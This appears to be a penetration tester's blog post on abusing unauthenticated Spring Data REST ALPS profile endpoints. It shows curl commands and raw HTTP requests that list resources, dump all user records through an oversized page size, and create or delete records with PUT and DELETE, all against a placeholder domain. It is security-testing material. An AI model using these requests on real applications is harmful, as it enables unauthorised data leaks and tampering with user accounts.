Exploiting Application-Level Profile Semantics (APLS)

Application-Level Profile Semantics (APLS) from Spring

TL;DR

Application-Level Profile Semantics (APLS) from Spring may be unknown for you, as it was for me until a few days ago when I found an APLS definition exposed on a web application. I almost missed those Critical bugs. If that’s the case, this post will explain to you how to understand what APLS is, how it works, how to understand these definitions, and how it can be abused.

What does APLS mean?

A few days ago I came across an APLS definition, I ignored it for a couple of days, but luckily I came back and I could understand what it really was. I don’t like the spoilers, but it ends up being a Critical bug.

ALPS is a data format for defining simple descriptions of application-level semantics, similar in complexity to HTML microformats. An ALPS document can be used as a profile to explain the application semantics of a document with an application-agnostic media type (such as HTML, HAL, Collection+JSON, Siren, etc.). This increases the reusability of profile documents across media types.

— M. Admundsen / L. Richardson / M. Fosterhttps://tools.ietf.org/html/draft-amundsen-richardson-foster-alps-00

In other words, it’s just another API definition like Swagger. Spring Data REST allows to set up @Pre and @Post Security conditions. But what would happen if those conditions are missing or misconfigured? Let’s figure it out together.

Resource Discoverability

By issuing a request to the root URL under which the Spring Data REST application is deployed, it is possible to extract, from the returned JSON object, a set of links that represent the next level of resources that are available.

At the root of a Spring Data REST app, we can find a profile link. Assuming we have an app with users, the root document would be as follows:

curl -v http://domain.com/alps

< HTTP/1.1 200 OK
< Content-Type: application/hal+json

{
  "_links" : {
    "users" : {
      "href" : "http://domain.com/alps/users"
    },
    "profile" : {
      "href" : "http://domain.com/alps/profile"
    }
  }
}

If you navigate into the profile link at http://domain.com/alps/profile, you see content resembling the following:

curl -v http://domain.com/profile

< HTTP/1.1 200 OK
< Content-Type: application/hal+json

{
  "_links" : {
    "self" : {
      "href" : "http://domain.com/alps/profile"
    },
     "users" : {
      "href" : "http://domain.com/alps/users"
    },
}

On profile, it is where we will find all the juicy information about this API. We must navigate to /profile to find a link for each resource’s metadata. And if we go one path deeper /alps/users, we will finally find the metadata definition:

{
  "alps" : {
    "version" : "1.0",
    "descriptor" : [ {
      "id" : "users-representation",
      "href" : "http://domain.com/alps/profile/users",
      "descriptor" : [ {
        "name" : "company",
        "type" : "SEMANTIC"
      }, {
        "name" : "nickname",
        "type" : "SEMANTIC"
      } ]
    }, {
      "id" : "get-users",
      "name" : "users",
      "type" : "SAFE",
      "descriptor" : [ {
        "name" : "page",
        "type" : "SEMANTIC",
        "doc" : {
          "format" : "TEXT",
          "value" : "The page to return."
        }
      }, {
        "name" : "size",
        "type" : "SEMANTIC",
        "doc" : {
          "format" : "TEXT",
          "value" : "The size of the page to return."
        }
      }, {
        "name" : "sort",
        "type" : "SEMANTIC",
        "doc" : {
          "format" : "TEXT",
          "value" : "The sorting criteria to use to calculate the content of the page."
        }
      } ],
      "rt" : "#users-representation"
    }, {
      "id" : "create-users",
      "name" : "users",
      "type" : "UNSAFE",
      "rt" : "#users-representation"
    }, {
      "id" : "delete-users",
      "name" : "users",
      "type" : "IDEMPOTENT",
      "rt" : "#users-representation"
    }, {
      "id" : "update-users",
      "name" : "users",
      "type" : "IDEMPOTENT",
      "rt" : "#users-representation"
    }, {
      "id" : "get-users",
      "name" : "users",
      "type" : "SAFE",
      "rt" : "#users-representation"
    }, {
      "id" : "patch-users",
      "name" : "users",
      "type" : "UNSAFE",
      "rt" : "#users-representation"
    }, {
      "name" : "findByCompanyName",
      "type" : "SAFE",
      "descriptor" : [ {
        "name" : "company",
        "type" : "SEMANTIC"
      }, {
        "name" : "nickname",
        "type" : "SEMANTIC"
      } ]
    }, {
      "name" : "findByUserId",
      "type" : "SAFE",
      "descriptor" : [ {
        "name" : "userId",
        "type" : "SEMANTIC"
      } ]
    } ]
  }
}

Querying the Schema

This was pretty interesting, it seems that if you want to retrieve the JSON schema of a particular profile, what you need to do is to send a GET request with the following Accept: header.

Accept: application/schema+json

Yes, Accept header, as the documentation explains here ¯\_(ツ)_/¯. The result would be something like this:

curl -H 'Accept:application/schema+json' -v http://domain.com/alps/profile/users

< HTTP/1.1 200 OK
< Content-Type: application/hal+json

{
  "title" : "User type",
  "properties" : {
        "name" : "company",
        "type" : "SEMANTIC"
      }, {
        "name" : "nickname",
        "type" : "SEMANTIC"
  },
  "definitions" : { },
  "type" : "object",
  "$schema" : "http://json-schema.org/draft-04/schema#"
}

Listing existing information

If you have enough privileges to access this endpoint, which is exactly what I found: Unauthenticated users had full access to all the ALPS REST endpoints; You should be able to retrieve all the object instances of this profile by issuing the following GET request:

curl -v http://domain.com/alps/users

< HTTP/1.1 200 OK
< Content-Type: application/hal+json

{
  "_embedded" : {
    "users" : [ {
      "company" : "MySecretCompany",
      "nickname" : "admin",
      "_links" : {
        "self" : {
          "href" : "http://domain.com/alps/users/<USERID>"
        },
        "users" : {
          "href" : "http://domain.com/alps/users/<USERID>"
        }
      }
    }, 
<SNIPPED>
 },
  "page" : {
    "size" : 50,
    "totalElements" : 500000,
    "totalPages" : 10000,
    "number" : 0
  }
}

Note that we have removed the profile from the URL, the API for the users is located at /alps/users.

Also, note that at the end of the response you will see the total amount of elements that exist. You can increase the number of results returned by adding the URL parameter size: /alps/users?size=500000

Leaking all user information with one request, not bad 😀

Accessing one particular element

If we want to access just one instance, it is pretty straight forward:

curl -v http://domain.com/alps/users/<USERID>

< HTTP/1.1 200 OK
< Content-Type: application/json

{
      "company" : "MySecretCompany",
      "nickname" : "admin",
      "_links" : {
        "self" : {
          "href" : "http://domain.com/alps/users/<USERID>"
        },
        "users" : {
          "href" : "http://domain.com/alps/users/<USERID>"
        }
      }
}

What about adding a new element?

This could be the most valuable and critical case, if we are able to create new elements, depending on the profiles exposed, we may be able to achieve interesting things like adding new admin users, adding users to a particular company, etc.

POST and PUT are the two HTTP methods that are used to insert new entries, while PATCH allows us to modify already existing instances.

PUT /alps/users/<USERID> HTTP/1.1
Host: domain.com
Accept: application/json
Content-Type: application/json
Content-Length: 65

{"company":"MySecretCompany","nickname":"admin"}

And Deleting?

Deleting is not that different from the other methods, as a normal REST API, we can use the DELETE HTTP request method to remove an object:

DELETE /alps/users/<USERID> HTTP/1.1
Host: domain.com
Accept: application/json
Content-Type: application/json
Content-Length: 2

{}

Conclusion

To sum up, I think the most important part here is how can we identify this kind of definition in the web application we are testing. In my opinion, there are three interesting options to try:

  1. Check for the endpoint /profile while discovering content on your target application. Remember that this can not necessarily be on the root, but inside of another directory, like /alps, /api, etc.
  2. While interacting with the available APIs, check if the header Content-Type: application/hal+json is returned by any API endpoint.
  3. And finally, while crawling, send the header Accept: application/schema+json, this may reveal the defined schemas as we saw above.

If you are aware of any other way to find ALPs definitions, please let me know and I will happily add it to the list! 🙂

More Web related Posts

References